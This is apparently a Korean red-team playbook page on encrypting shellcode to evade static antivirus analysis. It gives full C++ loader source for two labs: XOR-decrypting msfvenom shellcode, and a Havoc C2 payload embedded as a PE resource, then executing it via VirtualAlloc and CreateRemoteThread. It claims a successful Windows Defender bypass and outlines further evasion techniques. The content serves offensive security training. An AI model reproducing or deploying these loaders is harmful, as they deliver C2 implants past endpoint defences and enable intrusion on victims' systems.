쉘코드 암호화는 로더(Loader)의 페이로드 부분에 들어가는 쉘코드를 실행 전 암호화하여 정적 분석을 우회하는 기법이다. 시중의 많은 C2 프레임워크와 툴들이 생성해내는 쉘코드는 시그니처 당하기 마련이다. 쉘코드를 생성해낼 때 마다 다른 쉘코드가 나오거나 특정 부분을 암호화 혹은 난독화 하는 방법이 있긴 하지만, 바뀔 수 없는 쉘코드의 특정 부분이 시그니처를 당하면 이마저도 무용지물인 경우가 많다. 유명한 예로는 미터프리터(Meterpreter) 쉘코드의 복호화 루틴 자체가 시그니처를 당한 경우다. 이 경우, 쉘코드를 아무리 바꿔봤자 가장 먼저 실행되고 또 중요한 복호화 루틴 자체가 시그니처를 당했기 때문에 정적 분석에서 걸리게 된다.
따라서 많은 악성코드나 오펜시브 시큐리티 툴들을 살펴보면 쉘코드 전체를 암호화 해놓는 기능을 제공한다. 암호화된 쉘코드는 프로세스 인젝션이나 셀프 인젝션을 할 때 런타임 중 복호화 되어 메모리에 쉘코드를 올린 뒤 실행된다.
쉘코드 암호화에는 XOR, RC4, 그리고 AES 암호화가 자주 사용된다. 단, AES의 경우 적용 방법에 따라 AES와 관련된 WinCrypt 윈도우API (CryptDecrypt, CryptHashData, CryptDeriveKey 등) 를 사용하는 경우 IAT에 흔적이 남을 수 있으니 조심해야 한다. 물론 IAT 난독화나 Run-time Dynamic Linking 등의 기법을 통해 흔적을 없앨수도 있다.
실습 - 메타스플로잇
실습에서는 간단하게 메타스플로잇 페이로드 빌드 툴인 msfvenom 을 이용해 쉘코드 XOR 암호화를 진행해본다. 개념 증명용 쉘코드에 xor 암호화를 적용시킨다.
/*
Red Team Playbook - Shellcode decryption + CreateRemoteThread example
Credits to all open-source authors out there
*/
#include <iostream>
#include <windows.h>
// credit: Sektor7 RTO Malware Essential Course
void XOR(unsigned char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main()
{
// msfvenom -p windows/x64/exec CMD="calc.exe" --encrypt xor --encrypt-key redteamplaybook -f c
unsigned char buf[] = < 쉘코드 >
// VirtualAlloc on self
HANDLE hProc = GetCurrentProcess();
LPVOID hAlloc = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hAlloc == NULL) {
printf("[-] VirtualAlloc failed: %d\n", GetLastError());
return 1;
}
// XOR decrypt
char key[] = "redteamplaybook";
XOR(buf, sizeof(buf), key, sizeof(key));
// WriteProcessMemory on self
SIZE_T* lpNumberOfBytesWritten = 0;
if (!WriteProcessMemory(hProc, hAlloc, (LPVOID)buf, sizeof(buf), lpNumberOfBytesWritten)) {
printf("[-] WPM failed: %d\n", GetLastError());
return 1;
}
// CRT and execute the shellcode
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hAlloc, NULL, 0, (LPDWORD)(&threadId));
if (hThread == NULL) {
printf("[-] CRT failed: %d\n", GetLastError());
return 1;
}
// WaitForSingleObject
WaitForSingleObject(hThread, 1000);
return 0;
}
실습 - 하복 (Havoc) 프레임워크
이번 실습은 오픈소스 C2 프레임워크인 하복 (Havoc) 프레임워크를 이용해 진행한다. 먼저 리스너를 생성한 뒤, 쉘코드 페이로드를 만들어 파일시스템에 저장한다. 그 뒤 파이썬 툴인 xortool 을 설치하고 xortool-xor 를 이용해 파일을 XOR 암호화 한다.
하복 프레임워크의 경우 C 소스코드 형태의 쉘코드를 지원하지 않고, 오로지 binary 형태만 지원하기 때문에 이를 프로세스 인젝션 코드에 직접적으로 삽입할 수는 없다. 대신 PE 파일안에 리소스 (Resource) 형태로 쉘코드를집어넣어 런타임 중 불러오고, 복호화한 뒤, 인젝션을 실행하면 된다. 예제 소스코드는 다음과 같다.
rsrcCRT.cpp
#include <Windows.h>
#include <cstdio>
#include <iostream>
#include "resource2.h"
// credit: Sektor7 RTO Malware Essential Course
void XOR(unsigned char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main()
{
// Resource related API calls
HRSRC scRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_DEMON_BIN1), L"DEMON_BIN");
if (scRsrc == NULL) {
printf("[-] FindResource failed: %d\n", GetLastError());
return 1;
}
DWORD scSize = SizeofResource(NULL, scRsrc);
HGLOBAL scRsrcData = LoadResource(NULL, scRsrc);
unsigned char* buf = (unsigned char*)malloc(scSize);
memcpy(buf, scRsrcData, scSize);
// VirtualAlloc on self
HANDLE hProc = GetCurrentProcess();
LPVOID hAlloc = (LPVOID)VirtualAlloc(NULL, scSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hAlloc == NULL) {
printf("[-] VirtualAlloc failed: %d\n", GetLastError());
return 1;
}
// XOR Decrypt
char key[] = "redteamplaybook";
XOR(buf, scSize, key, sizeof(key));
// WriteProcessMemory on self
SIZE_T* lpNumberOfBytesWritten = 0;
if (!WriteProcessMemory(hProc, hAlloc, (LPVOID)buf, scSize, lpNumberOfBytesWritten)) {
printf("[-] WPM failed: %d\n", GetLastError());
return 1;
}
// CRT and execute the shellcode
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hAlloc, NULL, 0, (LPDWORD)(&threadId));
if (hThread == NULL) {
printf("[-] CRT failed: %d\n", GetLastError());
return 1;
}
// WaitForSingleObject
WaitForSingleObject(hThread, 1000);
// Self injection, so this process needs to be running as well. Easy and dirty way to do that.
Sleep(99999999);
return 0;
}
실행해보면 최신 윈도우 11 (22H2) 업데이트를 한 디펜더를 우회한 뒤 성공적으로 쉘코드를 실행한다.
추가적인 문제점
쉘코드 암호화 기법을 사용하면 자연스럽게 생겨나는 추가적인 문제점들이 있다. 이 페이지에서는 다루지 않겠지만, 추후 다른 페이지들에서 이 우회 방법들에 대해 서술한다.
엔트로피의 증가: 대부분의 프로그램은 특정 부분이 암호화된 채로 존재하지 않는다. 쉘코드가 크면 클 수록 프로그램 내의 암호화 된 부분이 높기 때문에 전체적인 엔트로피의 증가로 이어진다. 방어자들은 정적 분석을 통해 특정 엔트로피 수치 이상의 프로그램을 발견하면 "수상한 프로그램" 이라고 의심한다. -> 이는 엔트로피 조절 기법으로 대처할 수 있다.
복호화 키: 쉘코드 복호화 시 비대칭 암호화는 공격자의 공개키를 항상 구할 수 있다는 가정을 할 수 없기에 사용하지 않는다. 그러면 대칭키를 툴의 어딘가에다가 저장 해놔야할텐데, 그러면 방어자가 그 키를 추출해 쉘코드를 복호화할 수 있게 된다. -> 이는 Environmental Keying 기법으로 대처할 수 있다.
메모리상의 평문 쉘코드: 정적 분석은 피했지만, 툴의 실행 이후 동적 분석을 하며 메모리상의 평문 쉘코드를 추출한다면 결국 쉘코드 암호화의 의미가 없어지게 된다. -> 이는 Ekko 와 같은 인-메모리 쉘코드 Sleep/obfuscation/encryption 기법으로 대처할 수 있다.